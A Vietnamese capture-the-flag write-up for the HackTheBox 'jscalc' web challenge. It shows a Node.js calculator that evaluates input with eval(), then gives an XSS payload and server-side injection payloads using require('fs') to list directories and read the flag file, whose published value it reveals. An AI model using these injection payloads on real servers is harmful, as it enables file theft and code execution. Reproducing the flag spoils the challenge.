Hackthebox - jscalc
Description
Link challenge tại đây
Step
Đây là giao diện chính của challenge:
Vì chương trình sử dụng hàm eval()
để tính toán nên ta có thể tiêm vào một payload XSS:
100*10-3+340 +'<img src=abc onerror="alert(123)">'
Kiểm tra source code, đọc file package.json
, nhận thấy challenge sử dụng node.js
=> Có thể execute JavaScript code
ở back-end.
Chương trình sử dụng API api/calculate
.
Từ web_jscalc/challenge/routes/computerHelper.js
, hàm calculate()
trả về kết quả từ hàm eval()
và đưa ra một ngoại lệ chỉ khi có lỗi cú pháp. Do đó nó không kiểm tra các trường hợp ngoại lệ khác.
---
module.exports = {
calculate(formula) {
try {
return eval(`(function() { return ${ formula } ;}())`);
} catch (e) {
if (e instanceof SyntaxError) {
return 'Something went wrong!';
}
}
}
}
---
Node.js
có một số mô-đun tích hợp có thể được sử dụng để chèn lệnh: process
, fs
, readdir()
, readFile()
,…
Tiến hành khai thác: Đầu tiên kiểm tra đường dẫn hiện tại bằng query:
process.cwd()
Kiểm tra các thư mục và file có trong thư mục hiện tại bằng cách sử dụng readdirSync()
:
require('fs').readdirSync('/app').toString()
Thêm dấu ..
vào trước đường dẫn để kiểm tra tại thư mục /
:
require('fs').readdirSync('../').toString()
Sử dụng readFileSync()
để đọc file flag.txt
:
require('fs').readFileSync("/flax.txt").toString()
Flag: HTB{c4lcul4t3d_my_w4y_thr0ugh_rc3}